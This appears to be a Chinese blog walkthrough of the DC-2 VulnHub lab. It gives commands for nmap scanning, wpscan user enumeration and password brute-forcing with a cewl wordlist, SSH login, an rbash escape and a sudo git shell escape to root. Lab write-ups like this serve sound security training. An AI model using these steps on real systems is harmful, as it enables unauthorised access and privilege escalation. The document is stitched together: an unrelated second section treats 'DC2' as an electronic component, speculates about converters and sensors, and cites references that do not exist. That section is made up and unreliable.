DC2靶机渗透

DC2靶机渗透

今天我们来学习D2靶机渗透找出所有flag

开始进行靶机下载地址:
链接: https://www.vulnhub.com/entry/dc-2,311/
在靶机下载后,将模式改为NAT模式,重启靶机

第一步:靶机信息收集

// nmap查询存活主机
nmap -sP 192.168.109.0/24

发现靶机IP

查看开放端口

// nmap查询查询开放端口
nmap -sV -p- 192.168.109.136  

在这里插入图片描述
打开网页,发现页面无法访问
在这里插入图片描述

第二步:查找flag1

尝试修改/etc/host 配置(kali设置)
在这里插入图片描述
尝试修改C:\Windows\System32\drivers\etc\hosts(windows设置)
在这里插入图片描述
成功访问页面,然后开启点点点,查找flag
在这里插入图片描述发现flag1
在这里插入图片描述

第三步:查找flag2(wpscan暴力破解)

嗯。。。给了个提示cewl (和字典有关,应该要破解密码用)先不管,还有用户名的提示,发现cms是wordpress 用wpscan扫描一下网页列出站点的用户名、账号

在这里插入图片描述

// wpscan扫描用户名
wpscan --url  dc-2 -e u 

不理解wpscan放入小伙伴参考大佬写的链接
链接: https://zhuanlan.zhihu.com/p/149725645

–url|-u 要扫描的’WordPress站点
–enumerate | -e [option(s)] 枚举
u 枚举用户名(默认10个)

简单罗列出三个用户名和相关信息
在这里插入图片描述
将用户名写入user.txt文件,方便后续破解密码

根据flag1给的提示cewl生成字典dict.txt

// cewl生成dict.txt字典
cewl dc-2 -w dict.txt 

cewl全指南命令链接如下
链接: https://www.freebuf.com/articles/network/190128.html
字典有了,用户名有了,开始破解密码

// wpscan暴力破解
 wpscan --url dc-2 -U user.txt -P dict.txt

-U:用户名文件
-P:字典文件
(有路径的要写上路径)

破解成功
在这里插入图片描述
去网页找找登录框。我喜欢用御剑,小伙伴们自行选择
在这里插入图片描述登录成功,点点点,发现flag2
在这里插入图片描述

第四步:查找flag3


根据提示还有另一种方法
嗯。。。记得之前扫描端口时候开通了ssh 现在有用户名密码,试试看可不可登录呢。。

在这里插入图片描述

// ssh 连接(加端口号)
ssh tom@192.168.109.136 -p 7744

成功用tom用户进入
在这里插入图片描述
成功发现flag3,用vi编辑打开查看

第五步:查找flag4(绕过rbash)

翻译过来意思好像是回到jerry用户上, 又看到有su提示尝试切换到jerry
在这里插入图片描述
看来需要绕过rbash,设置shell变量

// 绕过rbash
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ ls
flag3.txt   usr
tom@DC-2:~$ cat flag3.txt

发现flag3可以用cat命令查看了
在试着切换到jerry用户下

// An highlighted block
tom@DC-2:~$ su jerry
Password: 
jerry@DC-2:/home/tom$ cd /home/jerry
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt

发现flag4
在这里插入图片描述

第五步:查找最终flag(git提权)

提示git 想到是否为git提权 root用户查询最终flag呢

// git提权
jerry@DC-2:~$ sudo git -p help config
:!/bin/sh

提权成功,查找最终flag

// 
# whoami
root
# ls
flag4.txt
# ls /root
final-flag.txt
# cat /root/final-flag.txt

获得最终的flag

完结 撒花✿✿ヽ(°▽°)ノ✿

### 关于DC2元器件的使用说明与教程 目前提供的引用材料并未直接提及 **DC2元器件** 的具体定义或其使用方法。然而,可以从其他相关领域推断可能涉及的知识点,并尝试提供一些通用指导。 #### DC2元器件概述 假设这里的“DC2”指的是某种直流(Direct Current, DC)相关的电子组件或模块,则可以根据常见的电子设计原则来推测其用途和操作方式。例如,在许多嵌入式系统开发中,类似于 STM32F103RB 这样的微控制器平台可能会配合某些特定功能的外设工作[^2]。如果 DC2 是一种功率转换设备、驱动电路或是信号调理单元,那么它的基本应用逻辑通常围绕以下几个方面展开: - 输入/输出接口配置; - 参数调节范围设定; - 工作模式切换控制等。 #### 可能的应用场景分析 基于上述提到的一些基础概念——比如二极管的功能特性描述[^1]以及滤波算法实现思路[^3]——我们可以进一步联想出如下几种典型情况适用于讨论对象"DC2": ##### 场景一:作为电源管理部件之一参与整体架构构建 在这种情形下,“DC2”也许代表某类降压变换器(Buck Converter)或者升压变换器(Boost Converter),负责将输入电压调整至适合下游负载需求水平的同时保持效率最优化状态运行。此时需要注意的关键参数包括但不限于开关频率(fsw),占空比(Duty Cycle),反馈环路补偿机制等等因素影响下的动态响应表现如何满足实际项目指标要求。 ```c // 示例代码片段展示简易PWM生成过程 void generate_pwm(int duty_cycle){ TIM_TimeBaseInitTypeDef TIM_InitStruct; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM4, ENABLE); TIM_InitStruct.TIM_Period = 999; TIM_InitStruct.TIM_Prescaler = 71; TIM_InitStruct.TIM_ClockDivision = TIM_CKD_DIV1; TIM_InitStruct.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit(TIM4,&TIM_InitStruct); TIM_SetCompare1(TIM4,duty_cycle*10); TIM_Cmd(TIM4,ENABLE); } ``` ##### 场景二:充当传感器采集前端处理节点角色 另一种可能性在于它被用来执行诸如光电隔离放大之类的任务以便更好地获取外部环境变化信息进而作出相应决策动作。这里可以联想到之前有关光照强度监测阈值设置部分所阐述的内容[^4],即通过合理安排检测周期及时长规避外界干扰源造成错误触发现象发生几率提升测量精度可靠性程度。 --- 尽管如此,由于缺乏更确切的产品手册文档支持,以上仅属于理论层面探讨范畴并不能完全覆盖实际情况复杂度差异之处。因此强烈建议查阅官方发布的权威资料获得更为详尽准确的信息来源依据做出最终判断结论!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值